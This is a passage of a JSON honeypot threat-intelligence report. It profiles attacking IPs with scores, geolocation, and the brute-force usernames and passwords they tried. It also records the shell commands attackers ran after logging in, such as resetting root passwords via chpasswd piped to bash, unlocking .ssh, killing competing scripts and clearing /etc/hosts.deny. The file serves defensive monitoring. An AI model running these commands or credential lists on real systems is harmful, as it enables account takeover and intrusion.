      "as_org": "Scloud Pte Ltd",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T20:34:33.914000+00:00",
        "last_seen_30d": "2026-03-21T23:50:16.549000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 60
      }
    },
    "91.92.240.199": {
      "attack_count": 297,
      "first_seen": "2026-03-24T16:52:33.652Z",
      "last_seen": "2026-03-27T15:19:18.007Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "test"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "password",
        "qwerty",
        "letmein",
        "passw0rd",
        "welcome",
        "P@ssw0rd",
        "admin",
        "admin123",
        "!root",
        "123456789",
        "Admin123",
        "Root123",
        "User123",
        "admin@123",
        "adminadmin",
        "administrator",
        "adminroot",
        "alpine"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 53.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.4,
        "persistence": 20.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 434,
        "days_active_30d": 25,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T06:32:03.216000+00:00",
        "last_seen_30d": "2026-03-27T15:20:19.566000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 297,
        "Suricata": 137
      }
    },
    "69.149.23.135": {
      "attack_count": 247,
      "first_seen": "2026-03-02T11:20:54.040Z",
      "last_seen": "2026-03-06T12:41:55.582Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "elk",
        "apache",
        "cliente",
        "dp",
        "esuser",
        "jason1",
        "joao",
        "michael",
        "ts1",
        "user1"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1234abcd!",
        "142536",
        "321321",
        "@qwer2025",
        "@qwer2026",
        "Aa123456?",
        "Aa@123123",
        "Apache123!",
        "Dp123!",
        "Welcome@1",
        "a1234567b",
        "esuserpass",
        "jason1123!",
        "joaopass",
        "qazWSX123!@#",
        "qweasdqwe"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nWQBvxNdnXxGx\\nWQBvxNdnXxGx\\n\"|passwd",
        "echo \"root:SJqUX9dtIl9y\"|chpasswd|bash",
        "echo -e \"12345678\\nWQBvxNdnXxGx\\nWQBvxNdnXxGx\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 308,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:20:54.040000+00:00",
        "last_seen_30d": "2026-03-06T12:43:00.970000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 247,
        "Suricata": 61
      }
    },
    "45.204.209.224": {
      "attack_count": 191,
      "first_seen": "2026-03-04T14:16:41.363Z",
      "last_seen": "2026-03-04T14:46:56.700Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "Bismillah@123",
        "Ch123456",
        "Qwer123!",
        "Qwert123",
        "Root2024!",
        "Welcome12#",
        "opop",
        "root@",
        "test123@",
        "test@2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1wJLbXSnk9Cw\"|chpasswd|bash",
        "echo \"root:FqZER4HF2tjj\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 62468,
      "as_org": "VpsQuan L.L.C.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T14:16:41.363000+00:00",
        "last_seen_30d": "2026-03-04T14:48:05.441000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 37
      }
    },
    "101.36.124.127": {
      "attack_count": 188,
      "first_seen": "2026-03-08T12:19:44.433Z",
      "last_seen": "2026-03-08T12:40:08.469Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "geo",
        "pengbo",
        "root",
        "aa",
        "linuxbrew",
        "ociispth",
        "prueba",
        "server",
        "superman"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx",
        "1234",
        "123456",
        "Aa1234567",
        "Ociispth123!",
        "geo123!",
        "linuxbrew123",
        "pengbo",
        "prueba",
        "serverpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"geo123!\\nDt3hBE57Rbz6\\nDt3hBE57Rbz6\\n\"|passwd",
        "echo \"pengbo\\n5Wewz6AGlvjw\\n5Wewz6AGlvjw\\n\"|passwd",
        "echo -e \"geo123!\\nDt3hBE57Rbz6\\nDt3hBE57Rbz6\"|passwd|bash",
        "echo -e \"pengbo\\n5Wewz6AGlvjw\\n5Wewz6AGlvjw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T12:19:44.433000+00:00",
        "last_seen_30d": "2026-03-08T12:41:12.367000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 33
      }
    },
    "212.11.64.103": {
      "attack_count": 187,
      "first_seen": "2026-03-03T15:51:22.600Z",
      "last_seen": "2026-03-08T18:07:09.004Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "coder",
        "adminuser",
        "francisco",
        "gw",
        "jwlee",
        "marcelo",
        "nfe",
        "sakura",
        "ubuntuuser",
        "username"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "123654",
        "123asd!@#",
        "@root123",
        "Zaq1Xsw2",
        "a005evr",
        "a123456..",
        "a1steaksauce",
        "a2633296",
        "aa159357",
        "adminuser123!",
        "coder123",
        "fang1314521",
        "francisco",
        "gw123!",
        "jwlee1234",
        "sakura123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"coder123\\ncgXb19Ip3Q30\\ncgXb19Ip3Q30\\n\"|passwd",
        "echo -e \"coder123\\ncgXb19Ip3Q30\\ncgXb19Ip3Q30\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 243,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T15:51:22.600000+00:00",
        "last_seen_30d": "2026-03-08T18:08:09.513000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 56
      }
    },
    "130.250.191.204": {
      "attack_count": 185,
      "first_seen": "2026-03-20T12:14:26.009Z",
      "last_seen": "2026-03-20T12:49:56.024Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "colin",
        "httpd",
        "diego",
        "ec2-user",
        "family",
        "github-runner",
        "jan",
        "personal",
        "rico",
        "wm"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345678",
        "colin1234",
        "ec2-userpass",
        "family1234",
        "github-runnerpass",
        "janpass",
        "password",
        "wmpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "crontab -l",
        "echo \"12345678\\nDaRNV6nLTAX8\\nDaRNV6nLTAX8\\n\"|passwd",
        "echo \"colin1234\\nNJT6wD0SqRYp\\nNJT6wD0SqRYp\\n\"|passwd",
        "echo -e \"12345678\\nDaRNV6nLTAX8\\nDaRNV6nLTAX8\"|passwd|bash",
        "echo -e \"colin1234\\nNJT6wD0SqRYp\\nNJT6wD0SqRYp\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 215117,
      "as_org": "HosterDaddy Private Limited",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T12:14:26.009000+00:00",
        "last_seen_30d": "2026-03-20T12:50:59.501000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 185,
        "Suricata": 34
      }
    },
    "187.212.42.32": {
      "attack_count": 179,
      "first_seen": "2026-03-11T04:29:02.947Z",
      "last_seen": "2026-03-11T05:10:18.617Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "canon",
        "clawd",
        "test1",
        "345gs5662d34",
        "Guest",
        "alumno",
        "ay",
        "coder",
        "debian",
        "dmdba",
        "dockeradmin",
        "ekp",
        "friend",
        "gitlab",
        "hsadmin",
        "informatica",
        "kapsch",
        "one",
        "root",
        "scanner"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "12345678",
        "123",
        "123456",
        "1qaz2WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "Dmdba123!",
        "Informatica123",
        "alumno",
        "clawd@123",
        "dockeradmin123",
        "friend",
        "one123",
        "password",
        "qwer1234!@",
        "scanner123",
        "test11234",
        "user5"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\nizoFFPnjo4MP\\nizoFFPnjo4MP\\n\"|passwd",
        "echo -e \"1234\\nizoFFPnjo4MP\\nizoFFPnjo4MP\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 235,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:29:02.947000+00:00",
        "last_seen_30d": "2026-03-11T05:11:27.742000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 179,
        "Suricata": 56
      }
    },
    "124.155.125.131": {
      "attack_count": 173,
      "first_seen": "2026-03-29T21:31:29.127Z",
      "last_seen": "2026-03-29T22:43:44.287Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1qa@WS3ed$RF",
        "1qaz!Qaz",
        "3245gs5662d34",
        "345gs5662d34",
        "Linode1",
        "Ls123",
        "Nintendo1",
        "P@33w0rd",
        "Qweasd123.",
        "R00t1234",
        "a5202614",
        "abcDEF123",
        "birgit",
        "centos7vm",
        "fjbdfdjkdsfs541544@@",
        "h123123",
        "h3capadmin",
        "practice",
        "qwe123",
        "sameer"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:UIENINJPw7HX\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Funabashi",
      "asn": 4685,
      "as_org": "Asahi Net",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 230,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T21:31:29.127000+00:00",
        "last_seen_30d": "2026-03-29T22:44:46.706000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 57
      }
    },
    "104.248.171.234": {
      "attack_count": 164,
      "first_seen": "2026-03-09T15:38:42.987Z",
      "last_seen": "2026-03-09T16:11:38.986Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "admin",
        "passw0rd",
        "password",
        "root",
        "root1",
        "root12",
        "root123",
        "root1234",
        "root12345",
        "root123456"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T15:38:42.987000+00:00",
        "last_seen_30d": "2026-03-09T16:12:46.461000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 164,
        "Suricata": 61
      }
    },
    "152.250.243.47": {
      "attack_count": 163,
      "first_seen": "2026-03-29T05:17:18.361Z",
      "last_seen": "2026-03-29T06:53:45.959Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "014789",
        "1229",
        "1234566",
        "123456788",
        "147.258",
        "345gs5662d34",
        "8uhb(IJN",
        "Ab@123321",
        "Cg123456.",
        "Han123456",
        "Micro@123",
        "Pokemon1",
        "Root=1234",
        "Sw@123456",
        "ZAQ!@WSX",
        "abcd1234.com",
        "asset",
        "californ",
        "lw123456",
        "n0br0k3r"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:o3sLvSdfARru\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T05:17:18.361000+00:00",
        "last_seen_30d": "2026-03-29T06:54:51.767000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 53
      }
    },
    "41.38.91.188": {
      "attack_count": 144,
      "first_seen": "2026-03-21T22:17:33.512Z",
      "last_seen": "2026-03-21T22:51:32.986Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "activemq",
        "345gs5662d34",
        "asd",
        "bbb",
        "hb",
        "init",
        "jarservice",
        "mario",
        "miner",
        "myftp",
        "newftpuser",
        "proxyuser",
        "recepcao",
        "sales1",
        "shirley",
        "test"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Asd123",
        "Myftp",
        "Newftpuser",
        "activemqpassword",
        "bbb123",
        "hb@123",
        "initpass",
        "jarservicejarservice",
        "miner@123456",
        "password",
        "shirley",
        "testtest"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"activemqpassword\\n2LDofk7NAP7r\\n2LDofk7NAP7r\\n\"|passwd",
        "echo -e \"activemqpassword\\n2LDofk7NAP7r\\n2LDofk7NAP7r\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T22:17:33.512000+00:00",
        "last_seen_30d": "2026-03-21T22:52:35.613000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "179.62.216.38": {
      "attack_count": 143,
      "first_seen": "2026-03-25T18:14:51.376Z",
      "last_seen": "2026-03-25T18:53:22.890Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "noah",
        "345gs5662d34",
        "angela",
        "are",
        "best",
        "ch",
        "consumer",
        "dbi",
        "journal",
        "kerberos",
        "nameserv",
        "nginx1",
        "rocketchat",
        "tallerv",
        "yasin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "angela",
        "are",
        "best",
        "ch",
        "consumer",
        "dbi",
        "journal",
        "kerberos",
        "nameserv",
        "nginx1",
        "noah",
        "rocketchat",
        "tallerv",
        "yasin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"noah\\n2MFEnIoRrbUG\\n2MFEnIoRrbUG\\n\"|passwd",
        "echo -e \"noah\\n2MFEnIoRrbUG\\n2MFEnIoRrbUG\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Lamarque",
      "asn": 263822,
      "as_org": "GRUPO EQUIS S.A.",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
